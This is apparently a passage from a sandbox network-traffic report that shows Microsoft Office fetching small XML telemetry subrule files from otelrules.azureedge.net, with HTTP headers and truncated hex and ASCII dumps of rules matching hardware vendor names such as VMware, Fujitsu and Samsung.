2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0bcc5563-701e-0021-03f3-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-185f5d8b95ctl8xlhC1NYCn94g0000000a5g00000000h3cv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-185f5d8b95cdtclvhC1NYC4rmc0000000aag00000000958x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-185f5d8b95c4hl5whC1NYCeex00000000a700000000005vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-185f5d8b95cmd8vfhC1NYC0g400000000630000000008a3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:25 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-1777c6cb754whff4hC1TEBcd6c000000082000000000k25p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-1777c6cb7549j9hhhC1TEBzmcc00000009bg00000000h1z0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:25 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-185f5d8b95cf7qddhC1NYC66an0000000a7000000000cpmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:25 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-1777c6cb7544n7p6hC1TEByvb400000009r00000000060w2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:25 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-185f5d8b95cp7lkfhC1NYC7rpw0000000ab0000000007pxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:26 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115826Z-r1d97b99577brct2hC1TEBambg00000002g0000000008e0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:26 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115826Z-1777c6cb754lvj6mhC1TEBke9400000009fg00000000hpw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:26 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:26 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115826Z-185f5d8b95cmd8vfhC1NYC0g400000000620000000009qpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:26 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
